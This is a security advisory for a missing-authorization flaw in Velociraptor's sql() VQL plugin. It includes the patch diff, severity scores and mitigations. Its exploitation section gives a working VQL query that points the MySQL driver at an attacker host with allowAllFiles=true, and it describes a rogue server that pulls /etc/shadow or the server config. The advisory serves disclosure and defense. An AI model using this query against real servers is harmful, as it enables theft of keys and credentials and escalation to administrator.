CVE-2026-85737: Missing Authorization and Arbitrary File Disclosure in Velocidex Velociraptor sql() VQL Plugin

Velocidex Velociraptor is an endpoint visibility, digital forensics, and incident response (DFIR) platform. It utilizes the Velociraptor Query Language (VQL) to query host state, parse forensic artifacts, and manage server operations. VQL functionality is extensible via built-in plugins that interact with local filesystems, operating system APIs, and external network services.

To enforce multi-tenant role-based access control (RBAC), Velociraptor implements a granular permission model within its VQL execution subsystem. Individual VQL plugins are required to validate the caller's execution scope against fine-grained Access Control List (ACL) flags—such as acls.FILESYSTEM_READ, acls.NETWORK, and acls.EXECVE—prior to performing sensitive host or network operations.

In Velociraptor versions prior to 0.77.2, the sql() VQL plugin (vql/parsers/sql/sql.go) contains a missing authorization vulnerability classified under CWE-862. Specifically, the SQLPlugin.Call method fails to invoke vql_subsystem.CheckAccess() to verify acls.FILESYSTEM_READ and acls.NETWORK permissions before opening database handles via Go's database/sql package.

Consequently, an authenticated analyst holding only basic query execution rights (ANY_QUERY) can invoke the sql() plugin with arbitrary database drivers and connection strings. When paired with the mysql driver and an attacker-controlled MySQL server, this flaw allows the attacker to read arbitrary files from the Velociraptor server host filesystem via the MySQL LOAD DATA LOCAL INFILE protocol mechanism.

The root cause of CVE-2026-85737 stems from two distinct omissions in the implementation of the sql() VQL plugin within vql/parsers/sql/sql.go: incomplete plugin metadata registration and the absence of runtime ACL verification across database driver execution branches.

First, in SQLPlugin.Info(), the plugin registered its required permissions metadata using only acls.FILESYSTEM_READ. It omitted the acls.NETWORK permission flag entirely, despite the plugin explicitly supporting network-based database drivers (mysql and postgres). While Info() provides metadata for VQL introspection and documentation, actual security enforcement relies on explicit checks inside the plugin's Call() method.

Second, during query execution, SQLPlugin.Call() switches on the user-supplied arg.Driver parameter to initialize a database connection handle. In the mysql and postgres case branch, the function directly passed the caller-controlled arg.ConnString to self.GetHandleOther(scope, arg.ConnString, arg.Driver), which subsequently called sql.Open(arg.Driver, arg.ConnString) without verifying whether the caller possessed acls.FILESYSTEM_READ or acls.NETWORK permissions.

Similarly, the sqlite driver branch relied entirely on the underlying virtual filesystem data accessor to check permissions rather than enforcing acls.FILESYSTEM_READ at the plugin entry point. If a low-privilege user holding ANY_QUERY specified a zero-permission data accessor alongside SQLite's ATTACH DATABASE syntax, they could bypass intended file access restrictions and create or manipulate local database files.

The vulnerability was remediated in commit d7de958e846d3742a7a3a8538fd463e4f12fc528 (and synchronized in f25390f8fbd00c888f0b7aaba2c061a51c3f7082 via Pull Request #4952). The patch modifies vql/parsers/sql/sql.go to enforce runtime authorization checks prior to initializing database handles and updates the plugin metadata definition.

diff --git a/vql/parsers/sql/sql.go b/vql/parsers/sql/sql.go
index c1eeb879549..5bfcc42ae1a 100644
--- a/vql/parsers/sql/sql.go
+++ b/vql/parsers/sql/sql.go
@@ -119,6 +119,11 @@ func (self SQLPlugin) Call(
 			return
 
 		case "sqlite":
+			// Enforce FILESYSTEM_READ at the plugin boundary before invoking GetHandleSqlite
+			err := vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ)
+			if err != nil {
+				scope.Log("sql: %v", err)
+				return
+			}
 			handle, err = GetHandleSqlite(ctx, arg, scope)
 			if err == notValidDatabase {
 				return
@@ -130,6 +135,15 @@ func (self SQLPlugin) Call(
 			}
 
 		case "mysql", "postgres":
+			// Enforce both FILESYSTEM_READ and NETWORK permissions before opening remote DB connections
+			err := vql_subsystem.CheckAccess(scope,
+				acls.FILESYSTEM_READ,
+				acls.NETWORK,
+			)
+			if err != nil {
+				scope.Log("sql: %v", err)
+				return
+			}
+
 			handle, err = self.GetHandleOther(scope, arg.ConnString, arg.Driver)
 			if err != nil {
 				scope.Log("sql: %s", err)
@@ -213,10 +227,11 @@ func (self SQLPlugin) Call(
 
 func (self SQLPlugin) Info(scope vfilter.Scope, type_map *vfilter.TypeMap) *vfilter.PluginInfo {
 	return &vfilter.PluginInfo{
-		Name:     "sql",
-		Doc:      "Run queries against sqlite, mysql, and postgres databases",
-		ArgType:  type_map.AddType(scope, &SQLPluginArgs{}),
-		Metadata: vql_subsystem.VQLMetadata().Permissions(acls.FILESYSTEM_READ).Build(),
+		Name:    "sql",
+		Doc:     "Run queries against sqlite, mysql, and postgres databases",
+		ArgType: type_map.AddType(scope, &SQLPluginArgs{}),
+		Metadata: vql_subsystem.VQLMetadata().Permissions(
+			acls.FILESYSTEM_READ, acls.NETWORK).Build(),
 	}
 }

In the patched version of SQLPlugin.Call, execution of the sqlite branch immediately invokes vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ). If the caller's scope lacks this permission, the error is logged to the VQL scope and the plugin terminates execution before GetHandleSqlite is called.

In the mysql and postgres branch, vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ, acls.NETWORK) is called. Requiring acls.FILESYSTEM_READ in addition to acls.NETWORK for remote database drivers specifically accounts for driver-level features (such as MySQL's allowAllFiles=true or PostgreSQL client file operations) that interact with the local client filesystem.

The fix is complete with respect to the authorization bypass in SQLPlugin.Call. By gating all driver branches behind vql_subsystem.CheckAccess, low-privilege users holding only ANY_QUERY are blocked from reaching GetHandleSqlite or GetHandleOther unless explicitly granted FILESYSTEM_READ and NETWORK capabilities by an administrator.

Exploiting CVE-2026-85737 to achieve arbitrary file disclosure requires two prerequisites: an authenticated Velociraptor user account with basic query privileges (ANY_QUERY) and network egress from the Velociraptor server to an attacker-controlled host.

The primary exploitation vector leverages the MySQL client protocol's LOAD DATA LOCAL INFILE capability as implemented in the Go go-sql-driver/mysql package. In the MySQL protocol, when a client issues a query to a server, the server can respond with a LOCAL INFILE request packet containing a filename. If the client driver has local file loading enabled, the client reads the requested file from its local filesystem and transmits the contents to the MySQL server.

While go-sql-driver/mysql disables arbitrary local file access by default unless specific files are registered, it exposes a connection string DSN parameter named allowAllFiles=true. Because SQLPlugin.Call passes the user-supplied connstring parameter directly to the driver without sanitization or ACL checks, an attacker can enable allowAllFiles=true in their VQL query.

To execute the attack, the adversary stands up a rogue MySQL server configured to respond to incoming authentication handshakes and initial queries with a FB (LOCAL_INFILE_Request) packet specifying a target file path (e.g., /etc/shadow or /etc/velociraptor/server.config.yaml). The attacker then submits the following VQL query to the Velociraptor server:

SELECT * FROM sql(
  driver="mysql",
  connstring="attacker:password@tcp(198.51.100.10:3306)/db?allowAllFiles=true",
  query="SELECT 1"
)

Upon executing the query, the Velociraptor server initiates an outbound TCP connection to 198.51.100.10:3306, authenticates, and sends SELECT 1. The rogue MySQL server replies with the LOCAL INFILE packet targeting a local file. Because allowAllFiles=true is active in the DSN, the Go MySQL driver reads the file from the Velociraptor host using the OS permissions of the Velociraptor server process and sends the raw file data back to the attacker.

CVE-2026-85737 is rated with a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L), requiring Low Privileges (PR:L) and No User Interaction (UI:N). The impact is strictly concentrated on Confidentiality (C:H), with no direct impact to Integrity (I:N) or Availability (A:N) via the file read vector.

Despite the Medium base score, the practical security impact inside a Velociraptor deployment is significant due to the architecture of the platform. Velociraptor server daemons frequently run as root on Linux or NT AUTHORITY\SYSTEM on Windows. Consequently, an arbitrary file read primitive executing in the context of the server process grants complete read access to the entire host filesystem.

An attacker exploiting this vulnerability can read the Velociraptor server.config.yaml file. This configuration file contains internal CA private keys, frontend TLS certificates, administrator password hashes, OAuth client secrets, and datastore encryption keys. Extracting these credentials allows an attacker with a low-privilege analyst role (ANY_QUERY) to escalate privileges to full Velociraptor server administrator (ADMINISTRATOR), and subsequently execute arbitrary commands across all connected enterprise endpoints.

Regarding threat intelligence and active exploitation, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-85737 a score of 0.00238 (0.24%), placing it in the 14.97th percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploit campaigns have been observed in the wild.

Organizations running Velocidex Velociraptor should upgrade their server installations to version 0.77.2 or later. Version 0.77.2 incorporates the access control fixes from Pull Request #4952, ensuring that sql() plugin invocations validate acls.FILESYSTEM_READ and acls.NETWORK before opening database handles.

> [!NOTE] > Upgrading the Velociraptor server binary is sufficient to remediate the server-side authorization bypass; endpoint client binaries do not need to be redeployed solely to protect the central server from analyst query abuse.

For environments where an immediate upgrade to version 0.77.2 is not operationally feasible, administrators can disable the vulnerable plugin entirely via the server configuration file (server.config.yaml). Adding sql to the security.denied_plugins list prevents any VQL query from invoking the plugin:

security:
  denied_plugins:
    - sql

In addition to application-level controls, defense-in-depth measures should be applied at the host and network layers. Administrators should configure host-based firewalls or network security groups to block arbitrary outbound TCP connections originating from the Velociraptor server, specifically restricting egress to external database ports such as TCP 3306 (MySQL) and TCP 5432 (PostgreSQL). Furthermore, the Velociraptor server daemon should be configured to run under a dedicated, unprivileged service account rather than root or SYSTEM to limit the scope of filesystem exposure.